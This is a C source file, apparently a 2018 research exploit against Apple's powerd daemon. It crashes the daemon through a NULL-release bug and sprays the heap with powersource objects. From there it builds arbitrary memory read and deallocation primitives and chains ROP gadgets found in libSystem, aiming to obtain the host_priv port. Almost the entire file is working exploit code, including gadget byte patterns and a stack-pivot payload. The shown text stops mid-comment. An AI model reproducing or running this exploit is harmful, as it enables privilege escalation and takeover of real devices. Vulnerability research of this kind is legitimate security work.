//
//  uexploit.c
//  powend
//
//  Created by simo on 30/08/2018.
//  Copyright © 2018 simo ghannam. All rights reserved.
//
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach-o/dyld_images.h>
#include <sys/sysctl.h>
#include <unistd.h>
#include <objc/objc.h>
#include <sys/mman.h>
#include <CoreFoundation/CoreFoundation.h>
#include <pthread.h>
#include "code.h"

#define READ_MEMORY         fill_memory_with_user_data
#define DEALLOCATE_MEMORY   deallocate_memory_user
//#define MEMDUMP
//#define MEMDBG

#define MAGIC_TAG 0xbadbadcc

mach_port_t service_port = MACH_PORT_NULL;
uint8_t *p = NULL;
uint32_t psizeP = 0x30000;
int Iter = 1000;
//uint64_t condidates[0x100] = {0};
uint64_t *condidates = NULL;
uint32_t collected = 0;
uint8_t *main_payload = NULL;
uint32_t main_payload_size = 0;
uint32_t payload_size = 0;
uint64_t payload_address = 0;
int target_psid = 0;
uint8_t *prestore = NULL;
uint32_t prestore_size = 0;
uint64_t control_x0,br_x3,br_x6,control_x0_and_blr;
uint64_t stack_pivot,mach_msg_gadget,
    stack_ptr,restore_registers,ret_sp,load_x0_x1_x2_br3,load_x19,
    store_x0_into_x2;

mach_port_t fake_service_port = 0;

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

pthread_mutex_t powerd_task_lock;
pthread_cond_t  powerd_task_cond;
// our final goal is to get host_priv port
mach_port_t host_priv;
mach_port_t powerd_task_port;
mach_port_t atm_notification_port;

pthread_t svc;

int strt_exp = 0;

void send_pegged_payload(mach_port_t service_port, const char *buf,uint32_t size) {
    kern_return_t kr;
    struct {
        mach_msg_header_t hdr;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t ool_desc;
    } m = {};
    
    m.hdr.msgh_size = sizeof(m);
    m.hdr.msgh_local_port = MACH_PORT_NULL;
    m.hdr.msgh_remote_port = service_port;
    m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
    m.hdr.msgh_id = 73019; // let's mimic c_s
    
    m.body.msgh_descriptor_count = 1;
    m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
    m.ool_desc.address = (void*)&buf[0];
    m.ool_desc.size = size;
    m.ool_desc.deallocate = 0;
    m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY; // very important
    kr = mach_msg(&m.hdr,
                   MACH_SEND_MSG,
                   m.hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    //CHECK_MACH_ERR(kr,"mach_msg()");
    
}

uint8_t *do_dummy_allocate_p(uint32_t size,char init)
{
    vm_address_t addr = 0;
    int kr = vm_allocate(mach_task_self(),&addr,size,1);
    CHECK_MACH_ERR(kr,"vm_allocate()");
    
    memset((void*)addr,init,size);
    char *p = (char*)addr;
    p[size-1] = '\0';
    return (uint8_t*)addr;
}

// if psid is -1, create a new ps entry
void do_update_ps(mach_port_t sp,int *upsid,int iter,uint8_t *p1,uint32_t psize)
{
    kern_return_t kr = 0;
    // we have to call io_ps_new_pspowersource() first
    // to create a new ps object
    
    CFMutableDictionaryRef Dict1;
    int ret;
    ret = -1;
    int psid = *upsid;
    /*
    if(psize > psizeP) {
        vm_deallocate(mach_task_self(),p,psizeP);
        psizeP = psize;
        p = do_dummy_allocate_p(psizeP, 0xcc);
    }
     */
    
    // if psid is -1, we've to create new powersource object
    if(psid == -1) {
        
        kr = io_ps_new_pspowersource(sp,&psid,&ret);
        if(ret) {
            printf("io_ps_new_pspowersource() -> kr = %d,psid = 0x%x, ret = 0x%x\n",kr,psid,ret);
            exit(0);
        }
#if 0
    printf("io_ps_new_pspowersource() -> kr = %d,psid = 0x%x, ret = 0x%x\n",kr,psid,ret);
    printf("[+] a new PS object has been created = 0x%x \n",psid);
#endif
        *upsid = psid;
        if(ret) {
            printf("io_ps_new_pspowersource() -> kr = %d,psid = 0x%x, ret = 0x%x\n",kr,psid,ret);
            exit(0);
        }
    } else
        ;//printf("[+] updating PS description = 0x%x\n",psid);

    ret = 0;
    uint32_t size = psize;
    
    Dict1 = CFDictionaryCreateMutable(NULL,0x10000,&kCFTypeDictionaryKeyCallBacks,&kCFTypeDictionaryValueCallBacks);
    
    
    for(int i =0;i<iter;i++) {
        char key[16] ={0};
        sprintf(key,"%d",i+1);
        //CFNumberRef psIDKey = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &i);
    
        // create the key of dictionary + put payload in CFData
        CFStringRef str = CFStringCreateWithCString(0,key,kCFStringEncodingUTF8);
        //CFStringRef Data = CFStringCreateWithCString(0,(const char *)p,0);
        CFDataRef Data = CFDataCreate(NULL,(const UInt8 *)p1,size);
        
#if 0
        if(Data == NULL) {
            printf("Data corruption, failed .. !\n");
            exit(-1);
        }
        printf("CFData : %p \n",Data);
#endif
        //printf("CFData (%d): %p \n",i,Data);
        //CFDictionarySetValue(Dict, str, Data);
        CFDictionaryAddValue(Dict1,str,Data);
        CFRelease(str);
        CFRelease(Data);
#if 0
        // for test only
        vm_deallocate(mach_task_self(),(vm_address_t)p,size);
#endif
       
    }
    
   // some data requirments here to fill the psID.decription buffer
#define kIOPSTypeKey                "Type"
#define kIOPSUPSType                "UPS"
    CFDictionarySetValue(Dict1, CFSTR(kIOPSTypeKey), CFSTR(kIOPSUPSType));

    CFDataRef obj = IOCFSerialize(Dict1,0);
#if 0
    printf("DEBUG IOCFSerialize() : obj=%p size=0x%x\n",CFDataGetBytePtr(obj), (int)CFDataGetLength(obj));
#endif
    ret = 0;
    
    kr = io_ps_update_pspowersource(sp,
                                    psid,
                                    (vm_offset_t) CFDataGetBytePtr(obj),
                                    (uint32_t)CFDataGetLength(obj),
                                    &ret);
    
    if (ret != 0) {
        printf("io_ps_update_pspowersource() -> kr = %x,ret = 0x%x -> %s \n",kr,ret, mach_error_string(kr));
        printf("Provided psid (0x%x) is not found, exiting, err=0x%x .. \n",psid,ret);
        //abort();
    }
    CFRelease(obj);
    obj = NULL;
#if 0
    printf("io_ps_update_pspowersource() -> kr = %x,ret = 0x%x -> %s \n",kr,ret, mach_error_string(kr) );
    DumpHex((void*)data, cnt);
#endif
    if(Dict1) {
        CFRelease(Dict1);
        Dict1 = NULL;
    }
}

void do_io_pm_last_wake_time(mach_port_t sp)
{
    vm_offset_t wakeData,deltaData;
    wakeData = deltaData = 0;
    uint32_t wakeDataCnt,deltaDataCnt;
    wakeDataCnt = deltaDataCnt = 0;
    kern_return_t kr = 0;
    int ret = 0;
    kr = io_pm_last_wake_time(sp,&wakeData,&wakeDataCnt,
                              &deltaData,&deltaDataCnt,&ret);
#if 0
    printf("io_pm_last_wake_time() : \nkr = %d ,wakeData = 0x%lx,wDcnt = 0x%x "
           ",deltaData =0x%lx,deltaDataCnt = 0x%x, ret = 0x%x\n"
           ,kr,wakeData,wakeDataCnt,deltaData,deltaDataCnt,ret);
    DumpHex((void*)wakeData,wakeDataCnt);
    DumpHex((void*)deltaData,deltaDataCnt);
#endif
}

// this will crash powerd, very important step to make arbitrary address deallocation
static void do_crash_powerd(void)
{
    /*
     kern_return_t _io_ps_update_pspowersource(...) {
     details = (CFMutableDictionaryRef)IOCFUnserialize((const char *)details_ptr, NULL, 0, NULL);
     ...
     
     if (kIOReturnSuccess != *return_code) { <-- it doesn't check if details is NULL
        CFRelease(details); <-- passing NULL ptr here
     }
     */
    printf("[+] Killing powerd and force it to restart\n");
    do_prepare_data();
    uint32_t s = 4096;
    uint8_t *b = malloc(s);
    int ret = 0;
    io_ps_update_pspowersource(service_port,0,(vm_offset_t)b,s,&ret);
}

vm_offset_t data= 0;
mach_msg_type_number_t cnt=1000;
int ret=0;

void ping(mach_port_t port) {
    struct {
        mach_msg_header_t hdr;
        mach_msg_body_t body;
    } m;
    
    m.hdr.msgh_size = sizeof(m);
    m.hdr.msgh_local_port = MACH_PORT_NULL;
    m.hdr.msgh_remote_port = port;
    m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
    m.hdr.msgh_id = 0;
    
    m.body.msgh_descriptor_count = 0;
    
    mach_msg(&m.hdr,
                                 MACH_SEND_MSG,
                                 m.hdr.msgh_size,
                                 0,
                                 MACH_PORT_NULL,
                                 MACH_MSG_TIMEOUT_NONE,
                                 MACH_PORT_NULL);
    
}
void do_prepare_data(void)
{
    mach_port_t bs;
    kern_return_t kr;
    
    task_get_bootstrap_port(mach_task_self(), &bs);
    kr = bootstrap_look_up(bs, kIOPMServerBootstrapName, &service_port);
    CHECK_MACH_ERR(kr,"bootstrap_look_up()");   
    ping(service_port);
    
    if(data)
        vm_deallocate(mach_task_self(),data,cnt);
    
    kr = vm_allocate(mach_task_self(),&data,cnt,1);
    if(!p)
        p = do_dummy_allocate_p(psizeP,0xaa);
   
}
uint64_t get_library_address(const char* library_name) {
    task_dyld_info_data_t task_dyld_info;
    mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
    
    task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
    
    const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
    const struct dyld_image_info* image_infos = all_image_infos->infoArray;
    
    for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) {
        const char* image_name = image_infos[i].imageFilePath;
        mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
        if (strstr(image_name, library_name)){
            //printf("[+] %s address 0x%llx \n",library_name,(uint64_t)image_load_address);
            return (uint64_t)image_load_address;
        }
    }
    return 0;
}
int comp_uint64(const void *a, const void *b)  {
    if(*((uint64_t *)a) > *((uint64_t *)b))  return(+1);
    if(*((uint64_t *)a) < *((uint64_t *)b))  return(-1);
    return(0);
}

uint64_t *collect_user_memory(int cnt)
{
    int psidCnt = 2,psid=-1;
    int ps[psidCnt];
    uint32_t magic = 0xbadc0de;
    uint32_t condidate = 0;
    int cncnt = cnt;
    uint32_t size = 0x2000;
    //uint32_t size = getpagesize();
    
    uint64_t *collect = calloc(cncnt+1,sizeof(uint64_t));
    uint8_t *pcum = do_dummy_allocate_p(size, 0xF0);
    
    *(uint64_t*)((uint8_t*)(pcum+0x1C))        = 0;             // address
    *(uint32_t*)((uint8_t*)(pcum+0x1C+24))     = 0x1000;       // size
    *(uint32_t*)((uint8_t*)(pcum+0x1C+24+4))   = magic;       // magic value in return value
    
    int iter = 100;
    for(int i=0;i<psidCnt;i++) {
        psid = -1;
        do_update_ps(service_port, &psid,iter,pcum,size);
        ps[i] = psid;
        //target_psid = psid; // we'll likely allocate 1 powersource object
    }
    
    int count = 0;
    for(int i=0; count < cncnt ; i++) {
        
        for(int i=0; i<psidCnt; i++)
            do_update_ps(service_port, &ps[i],iter,pcum,size);

        //do_update_ps(service_port, &target_psid,100,pcum,size);
        ret = -1;
        io_pm_connection_copy_status(service_port,0x10,&data,&cnt,&ret);
        //printf("iter(%d) : kr = %d ,offset = 0x%lx,cnt = %x,retval :%x \n",i,kr,data,cnt,ret);
        
        if ((ret != 0) && (ret != magic)) {
            if(ret & 0xf)
                continue;
            
            condidate = ret;
            collect[count++] = ret | 0x100000000;
            //printf("Collected  : 0x%llx\n",collect[count-1]);
            
        }
        
    }
    
    collect[cncnt] = 0xbadc0de; // delemiter
    qsort(collect,count,sizeof(uint64_t),comp_uint64);
    
    printf("[+] Collected heap objects: %d objects\n",count);
#ifdef MEMDBG
    for(int i=0;i<count;i++)
        printf("Potential memory address %d -> 0x%llx\n",i,collect[i]);
#endif
#if 0
    // Read collected memory
    for(int i=0;i<collected;i++) {
        uint64_t guess = 0;
        if(!fill_memory_with_user_data(collect[i], 0x100, 0xdead+i, &guess)) {
            printf("failed\n");
            continue;
        }
    }
#endif
    
    // release powersource objects as always
    for(int i=0;i<psidCnt;i++) {
        io_ps_release_pspowersource(service_port,ps[i]);
        //ps[i] = -1;
    }

    vm_deallocate(mach_task_self(), (vm_address_t)pcum, size);
    return collect;
}

int fill_memory_with_user_data(uint64_t target,uint32_t size,uint32_t magic,uint64_t *addr)
{
    int psidCnt = 2,psid=-1;
    int psids[100] = {-1};
    kern_return_t kr = KERN_SUCCESS;
    int found = 0;
    /**/
    if(size > psizeP) {
        printf("Check the size plz, don't make crap \n");
        exit(-1);
    }
    // poisoning
    //for(int i= 0;i<(size/8);i++) {
    //    val[i] = 0xaaaaaaaaaaad0000 | i;
    //}
    
    *(uint64_t*)((uint8_t*)(p+0x1C))        = target;       // address
    *(uint32_t*)((uint8_t*)(p+0x1C+24))     = size;         // size
    *(uint32_t*)((uint8_t*)(p+0x1C+24+4))   = magic;       // magic value in return
    
    for(int i=0;i<psidCnt;i++) {
        psid = -1;
        do_update_ps(service_port, &psid,100,p,size);
        psids[i] = psid;
    }
    
    
    //for(int i=0; i<900; i++) {
    for(int i=0; i<Iter; i++) {
        for(int i=0; i<psidCnt; i++)
            do_update_ps(service_port, &psids[i],100,p,size);
        
        ret = -1;
        kr = io_pm_connection_copy_status(service_port,0x10,&data,&cnt,&ret);
        
        if(ret == magic) {
            if(addr)
                *addr = data;
#ifdef MEMDBG
            printf("[+] Reading 0x%llx \n",target);
            printf("iter(%d) : kr = %d ,offset = 0x%lx,cnt = %x,retval :%x \n",i,kr,data,cnt,ret);
            // cnt is fine, the same as size
            //DumpHex((void*)data,0x100);
            
            printf("******** MEMORY READ ******* \n");
           
#endif
#ifdef MEMDUMP
            DumpHex((void*)data,0x100);
            printf("******** MEMORY READ ******* \n");
#endif
  
            found = 1;
            goto finish;
        }
       
    }
finish:
    // free psid allocated by us
    for(int i=0;i<psidCnt;i++) {
        io_ps_release_pspowersource(service_port,psids[i]);
        psids[i] = -1;
    }
    
    return found;
}

// returns the offset of the current address
uint64_t find_location_by_value(uint64_t addr, uint32_t size,uint64_t value,uint64_t *code)
{
    uint64_t *vals = (uint64_t*)addr;
    uint64_t begin = value & 0xffffffff00000000;
    uint64_t off = 0;
    
    // we intend to search by +8 reather than +1
    for(int i=0;i<(size/8);i++) {
        if((vals[i] & 0xffffffff00000000) == begin) {
            off = (vals[i] & 0xffff) * 8;
            *code = vals[i];
            break;
        }
    }

    return off;
}

// this will deallocate a target buffer
int deallocate_memory_user(uint64_t target,uint32_t size)
{
    int psidCnt = 2,psid=-1;
    int psids[100] = {-1};
    kern_return_t kr = KERN_SUCCESS;
    int found = 0;
    int iters = 100;
    uint32_t sz = 0x1000;
    for(int i=0;i<psidCnt;i++) {
        psid = -1;
        do_update_ps(service_port, &psid,iters,p,sz);
        psids[i] = psid;
    }
    
    *(uint64_t*)((uint8_t*)(p+0x1C))        = target;  // address
    *(uint32_t*)((uint8_t*)(p+0x1C+24))     = size;            // size
    *(uint32_t*)((uint8_t*)(p+0x1C+24+4))   = MAGIC_TAG;        // useless in this case, we must not reply on it
    
    for(int i=0; i<Iter; i++) {
        
        // instead of releasing psid each time (which affects our heap Feng shui)
        // we release only ps->description which is a serialized CF Dict object
        // then allocate a new CFDict, this will ensure that our payload can take
        // reply's buffer at least 4 times.
        for(int i=0; i<psidCnt; i++)
            do_update_ps(service_port, &psids[i],iters,p,sz);
        
        ret = -1;
        // io_pm_hid_event_copy_history() has .deallocate flag TRUE, so the ool_dsc.address will
        // be implicitly deallocated right after the message sent to the receiver,
        // we'll try to to profit from this feature and deallocate an arbitrary address from process
        kr = io_pm_hid_event_copy_history(service_port,&data,&cnt,&ret);
        
        //if(ret == MAGIC_TAG) {
        if(cnt != 0) {
            found = 1;
#ifdef MEMDBG
            printf("iter(%d) : kr = %d ,offset = 0x%lx,cnt = %x,retval :%x \n",i,kr,data,cnt,ret);
#endif
#ifdef MEMDUMP
            DumpHex((void*)data,0x100);
            printf("******** MEMORY READ/DEALLOCATED ******* \n");
#endif
            goto finish;
        }
       
    }
//finish:
    // free psid allocated by us
    for(int i=0;i<psidCnt;i++) {
        io_ps_release_pspowersource(service_port,psids[i]);
        psids[i] = -1;
    }
   finish:
    return found;
}

uint64_t mem_search(uint64_t base, const void* data, size_t size) {
    const uint8_t* p = (const uint8_t*)base;
    for (;;) {
        if (!memcmp(p, data, size))
            return (uint64_t)p;
        
        p++;
    }
    return 0;
}
// Allocate a bunch of memory pages, and lookup for a magic value
// by inspecting condidates addresses, if found , do not release the object
// we'll use it to CFRelease(ps->description)

// returns a page-aligned memory location
uint64_t do_get_payload_address(uint64_t *diff,int *ps_id)
{
    uint64_t paddr = 0,cfaddr = 0;
    int pscnt = 1;
    int ps[pscnt];
    uint64_t guess = 0;
    uint32_t size = 0x2000;//getpagesize();
    //uint32_t size = getpagesize();
    uint8_t *p = do_dummy_allocate_p(size, 0xf5);
    uint64_t *val = (uint64_t*)&p[0];
    uint32_t tagsize = size;
    // uint32_t tagsize = size -payload_size;
    uint32_t start = -1;
    uint64_t shift = 0;
    //memcpy(&p[payload_size],main_payload,payload_size);

    uint64_t tagged = 0;
repeat:
    // avoid inspecting freed memory
    tagged = (0xbadc0deb00000000 | (shift++ << 56));
    // make sure that we condidates addresses with our payload
    for(int i=0; i<pscnt; i++) {
        // <tag> <ps id> <offset>
        for(int j=0; j<(tagsize/8); j++)
            val[j] = tagged | j | ((i+1) << 16) ;
        
        ps[i] = -1;
        do_update_ps(service_port, &ps[i],100,p,size);
        //printf("Creating powersource object with id = 0x%x, index = %d\n",ps[i],i+1);
    }
    
    uint64_t off = 0,code =0;
    for(int i=0;i<collected;i++) {
        uint64_t guess = 0;
        uint32_t readsize = 0x100;
        if(!READ_MEMORY(condidates[i], readsize, 0xdead+i, &guess))
            continue;
#if 0
        DumpHex((const void*)guess, 0x100);
#endif
        off = find_location_by_value(guess,readsize,tagged,&code);
        if(off == 0) {// || (target-off-0x30) & 0xfff) {
            continue;
        }
        
        // get the object id + payload address
        start = (code & 0xffff0000) >> 16;
        cfaddr = condidates[i] - off - 0x30; // 0x30 for CFData metadata, cfaddr must point to the isa pointer
        //payload_address = cfaddr + 0x30 + tagsize; // where our payload is located
        
        paddr = cfaddr & ~(getpagesize()-1);
        *diff = cfaddr - paddr;
#ifdef MEMDBG
        printf("The target powersource object is : %d\n",start);
        printf("We Found a potential memory location : 0x%llx\n",condidates[i]);
        
        printf("We Got a reliable CFData Object : 0%llx\n",cfaddr);

        printf("READING CFData object content : \n");
        Iter = 1000;
        if(!READ_MEMORY(cfaddr, readsize, 0xdead+i, &guess)) {
            printf("failed\n");
            continue;
        }
        DumpHex((const void*)guess, 0x100);
        Iter = 100;
#endif
        break;
        
    }
    // it looks like we failed, let's repeat
    if (paddr == 0) {
        printf("[-] Failed to get a CFData address, let's repeat\n");
        for(int i=0; i<pscnt; i++) {
            io_ps_release_pspowersource(service_port,ps[i]);
            ps[i] = -1;
        }
        goto repeat;
    }
    
    *ps_id = ps[start - 1];
    ps[start - 1] = -1;
    // release all allocated ps objects except the target one
    /*
    for(int i=0; i<pscnt; i++)
        io_ps_release_pspowersource(service_port,ps[i]);
    */
    prestore_size = getpagesize();
    prestore = do_dummy_allocate_p(prestore_size, 0);
    printf("[+] Retrieving Memory content of 0x%llx with size of 0x%x\n",paddr,prestore_size);
    for(int i =0;i<prestore_size;i+=0x1000) {
        Iter = 1000;
       
        if(!READ_MEMORY(paddr+i, 0x1000, 0x1234+i, &guess)) {
            printf("failed\n");
            abort();
        }
        memcpy(&prestore[i], (void*)guess, 0x1000);
        vm_deallocate(mach_task_self(),guess,0x1000);
    }
#if 0
    printf("Reading prestore memory \n");
    DumpHex((const void*)prestore, getpagesize());
#endif
    
    return paddr;
}
uint64_t rop_offset = 0;
uint64_t stack_offset = 0;
static inline void rop_make_stack_pivot(uint64_t stack_pointer, uint64_t lr)
{
#if 0 /* stack pivot gadget */
    0x1f6e7c5a0 <+8>:  ldr    x16, [x16, #0x38] // gadget starts here
    0x1f6e7c5a4 <+12>: ldp    x19, x20, [x0]
    0x1f6e7c5a8 <+16>: ldp    x21, x22, [x0, #0x10]
    0x1f6e7c5ac <+20>: ldp    x23, x24, [x0, #0x20]
    0x1f6e7c5b0 <+24>: ldp    x25, x26, [x0, #0x30]
    0x1f6e7c5b4 <+28>: ldp    x27, x28, [x0, #0x40]
    0x1f6e7c5b8 <+32>: ldp    x10, x11, [x0, #0x50]
    0x1f6e7c5bc <+36>: ldr    x12, [x0, #0x60]
    0x1f6e7c5c0 <+40>: ldp    d8, d9, [x0, #0x70]
    0x1f6e7c5c4 <+44>: ldp    d10, d11, [x0, #0x80]
    0x1f6e7c5c8 <+48>: ldp    d12, d13, [x0, #0x90]
    0x1f6e7c5cc <+52>: ldp    d14, d15, [x0, #0xa0]
    0x1f6e7c5d0 <+56>: eor    x29, x10, x16
    0x1f6e7c5d4 <+60>: eor    x30, x11, x16
    0x1f6e7c5d8 <+64>: eor    x12, x12, x16
    0x1f6e7c5dc <+68>: mov    sp, x12
    0x1f6e7c5e0 <+72>: cmp    w1, #0x0                  ; =0x0
    0x1f6e7c5e4 <+76>: csinc  w0, w1, wzr, ne
    0x1f6e7c5e8 <+80>: ret
#endif
    uint64_t libsystem = get_library_address("libSystem.B");
    stack_pivot = mem_search(libsystem, "\x10\x1e\x40\xf9\x13\x50\x40\xa9\x15\x58\x41\xa9\x17\x60\x42\xa9\x19\x68\x43\xa9\x1b\x70\x44\xa9", 24);
    
    uint64_t *vals = (uint64_t *)&main_payload[rop_offset];
    vals[0x10/8] = stack_pivot;
    
    uint64_t *control_regs = vals;
    control_regs[0x18/8] = 0xdeadc0de;               // X22 -> X3
    control_regs[0x20/8] = 0xdeadc0de;               // X23
    control_regs[0x28/8] = 0xdeadc0de;               // X24
    control_regs[0x30/8] = 0xdeadc0de;                      // X25 -> X2
    control_regs[0x38/8] = 0xdeadc0de;               // X26
    control_regs[0x40/8] = 0xdeadc0de;               // X27
    control_regs[0x48/8] = 0xdeadc0de;               // X28
    
    control_regs[0x50/8] = 0xdeadc0de;                // X10 -> x29
    control_regs[0x58/8] = lr;                     // where to jump next ?
    control_regs[0x60/8] = stack_pointer;           // what value you want SP points to ?

}

static void * rop_u_call(uint64_t func,uint64_t x0,uint64_t x1,uint64_t x2,
                              uint64_t x3,uint64_t x4,uint64_t x5,uint64_t lr)
{
    
    // BACK TO THIS LATER
    /*
    if((rop_offset+stack_offset) > getpagesize()/8) {
        printf("[*] You cannot ROP anymore, gtfo\n");
        exit(0);;
    }
    */
    uint64_t stack_off = stack_offset;
   
    uint64_t *sp =(uint64_t *)&main_payload[rop_offset+stack_off];
    
    sp[0x50/8] = 0xdeadbeef;    // X29
    sp[0x58/8] = mach_msg_gadget;    // X30
    
    sp[0x40/8] = x5;        // X20
    sp[0x48/8] = func;      // X19 copied into x6 (used as BR in our chain)
    
    sp[0x30/8] = x3;        // X22
    sp[0x38/8] = x4;        // X21
    
    // it's better to avoid controlling x7, it affects mach_msg() behaviour
    sp[0x20/8] = 0x24242424;        // X24 : this makes mach_msg jumps to mach_msg+200
    sp[0x28/8] = 0xdeadc0de;        // X23
    
    sp[0x10/8] = x1;            // X26 will be copied into X1
    sp[0x18/8] = x2;    // X25
    
    sp[0/8] = 0xdeadc0de;    // X28
    sp[8/8] = 0xdeadc0de;    // X27
    
    // after mach_msg() jumps to +200, we have to resotre x29,x30 and x19
    // 0x60 has been added by the mach_msg() epilogue
    stack_off+=0x60;
    sp = (uint64_t *)&main_payload[rop_offset +stack_off];
    sp[0x50/8] = 0x2929;    // X29
    sp[0x58/8] = control_x0_and_blr;    // // X30 (LR): now go control x0
    
    sp[0x48/8] = x0;    // X19 whill be copied into x0
    stack_off+=0x60;
    sp = (uint64_t *)&main_payload[rop_offset +stack_off];
    // taking control of x29,x30 again for next rop chain
    sp[0x10/8] = 0x1234;    // X29 (FP)
    sp[0x18/8] = br_x6;     // X30 (LR)
    
    // control_x0_and_blr : SP is increased by 0x20
    stack_off+=0x20;
    sp = (uint64_t *)&main_payload[rop_offset +stack_off];
    sp[0x30/8] = 0x1234;    // X29
    sp[0x38/8] = lr;     // X30 (LR)
    //after br_x6 the stack will increase by 0x40
    stack_off+=0x40;
    //rop_offset += stack_off;
    stack_offset =stack_off;
    sp = (uint64_t *)&main_payload[rop_offset +stack_off];
    
    return (void*)sp;
}
void do_prepare_payload(void)
{
    /*
     0x1188000000: the begining of our payload
     Keep ROPing and update stack_offset, we no longer need or care about offset location
     0x1188003000 : mach message buffer used to send powerd task port
     0x1188003000 + offset(port.name) : set as 0x103, but we can change it to whatever port we want using the same
            technique used below.
     0x1188003000 + offset(hdr.msgh_remote_port) : this location is modified with bootstrap_look_up() ROP payload
            instead of bruteforcing the port name, we have a reliable way send our payload without guessing it
     
     */
    uint32_t tagsize = getpagesize()*10;
    uint8_t *tag2 = do_dummy_allocate_p(tagsize, 0xa0);
    uint64_t *vals;
    // Credit goes to Pangu for the constant address, thanks!
    payload_address = 0x118800000;
    printf("[+] Preparing payload and setting it at 0x%llx\n",payload_address);
    
    payload_size = 0x4000;
    if(!main_payload)
        main_payload = (uint8_t*)do_dummy_allocate_p(payload_size, 0x0);
    
    vals = (uint64_t*)&main_payload[0];
    for(int i=0;i<(payload_size/8);i++)
        ;//vals[i] = 0x11220000 | i;

    uint64_t sel = (uint64_t)sel_registerName("release");
    uint64_t libsystem = get_library_address("libSystem.B");
    uint64_t CoreFoundation = get_library_address("CoreFoundation");
    
#if 0 /* Take more control on X0 */
     0xf9401000   ldr    x0, [x0, #0x20]
     0xf9400801   ldr    x1, [x0, #0x10]
     0xd61f0020   br     x1
#endif
    control_x0 = mem_search(libsystem, "\x00\x10\x40\xf9\x01\x08\x40\xf9\x20\x00\x1f\xd6", 12);

#if 0
    0x1f63d812c: 0xaa1303e0   mov    x0, x19
    0x1f63d8130: 0xa9417bfd   ldp    x29, x30, [sp, #0x10]
    0x1f63d8134: 0xa8c24ff4   ldp    x20, x19, [sp], #0x20
    0x1f63d8138: 0xd65f03c0   ret
#endif
    // we lost the x0 control due mach_msg_trap()'s return value,
    control_x0_and_blr = mem_search(libsystem, "\xe0\x03\x13\xaa\xfd\x7b\x41\xa9\xf4\x4f\xc2\xa8\xc0\x03\x5f\xd6", 16);
    

#if 0 /* stack pivot gadget */
    0x1f6e7c5a0 <+8>:  ldr    x16, [x16, #0x38] // gadget starts here
    0x1f6e7c5a4 <+12>: ldp    x19, x20, [x0]
    0x1f6e7c5a8 <+16>: ldp    x21, x22, [x0, #0x10]
    0x1f6e7c5ac <+20>: ldp    x23, x24, [x0, #0x20]
    0x1f6e7c5b0 <+24>: ldp    x25, x26, [x0, #0x30]
    0x1f6e7c5b4 <+28>: ldp    x27, x28, [x0, #0x40]
    0x1f6e7c5b8 <+32>: ldp    x10, x11, [x0, #0x50]
    0x1f6e7c5bc <+36>: ldr    x12, [x0, #0x60]
    0x1f6e7c5c0 <+40>: ldp    d8, d9, [x0, #0x70]
    0x1f6e7c5c4 <+44>: ldp    d10, d11, [x0, #0x80]
    0x1f6e7c5c8 <+48>: ldp    d12, d13, [x0, #0x90]
    0x1f6e7c5cc <+52>: ldp    d14, d15, [x0, #0xa0]
    0x1f6e7c5d0 <+56>: eor    x29, x10, x16
    0x1f6e7c5d4 <+60>: eor    x30, x11, x16
    0x1f6e7c5d8 <+64>: eor    x12, x12, x16
    0x1f6e7c5dc <+68>: mov    sp, x12
    0x1f6e7c5e0 <+72>: cmp    w1, #0x0                  ; =0x0
    0x1f6e7c5e4 <+76>: csinc  w0, w1, wzr, ne
    0x1f6e7c5e8 <+80>: ret
#endif
    stack_pivot = mem_search(libsystem, "\x10\x1e\x40\xf9\x13\x50\x40\xa9\x15\x58\x41\xa9\x17\x60\x42\xa9\x19\x68\x43\xa9\x1b\x70\x44\xa9", 24);

#if 0
    0x1f643be80: 0xa9437bfd   ldp    x29, x30, [sp, #0x30]
    0x1f643be84: 0xa9424ff4   ldp    x20, x19, [sp, #0x20]
    0x1f643be88: 0xa94157f6   ldp    x22, x21, [sp, #0x10]
    0x1f643be8c: 0xa8c45ff8   ldp    x24, x23, [sp], #0x40
    0x1f643be90: 0xd61f00c0   br     x6
#endif
    br_x6 = mem_search(libsystem, "\xfd\x7b\x43\xa9\xf4\x4f\x42\xa9\xf6\x57\x41\xa9\xf8\x5f\xc4\xa8\xc0\x00\x1f\xd6", 20);
    
/*
 * credit goes to @i41nbeer, idea taken from his XPC exploit
 * I'm not calling mach_msg(), just having more control over registers
 * X0 becomes uncontrolled because of mach_msg_trap() return value
 * So one more gadget needed (see br_x6 + control_x0_and_blr above)
 */
#if 0
    libsystem_kernel.dylib`mach_msg:
    ...
    0x1f6e013bc <+92>:  mov    x1, x26
    0x1f6e013c0 <+96>:  mov    x2, x25
    0x1f6e013c4 <+100>: mov    x3, x22
    0x1f6e013c8 <+104>: mov    x4, x21
    0x1f6e013cc <+108>: mov    x5, x20
    0x1f6e013d0 <+112>: mov    x6, x19
    0x1f6e013d4 <+116>: mov    x0, x23
    0x1f6e013d8 <+120>: bl     0x1f6e01ec8               ; mach_msg_trap
    0x1f6e013dc <+124>: cmp    w0, w27
    0x1f6e013e0 <+128>: b.eq   0x1f6e013bc               ; <+92>
    0x1f6e013e4 <+132>: tbnz   w24, #0xa, 0x1f6e01428    ; <+200>
    ...
    0x1f6e01428 <+200>: ldp    x29, x30, [sp, #0x50]
    0x1f6e0142c <+204>: ldp    x20, x19, [sp, #0x40]
    0x1f6e01430 <+208>: ldp    x22, x21, [sp, #0x30]
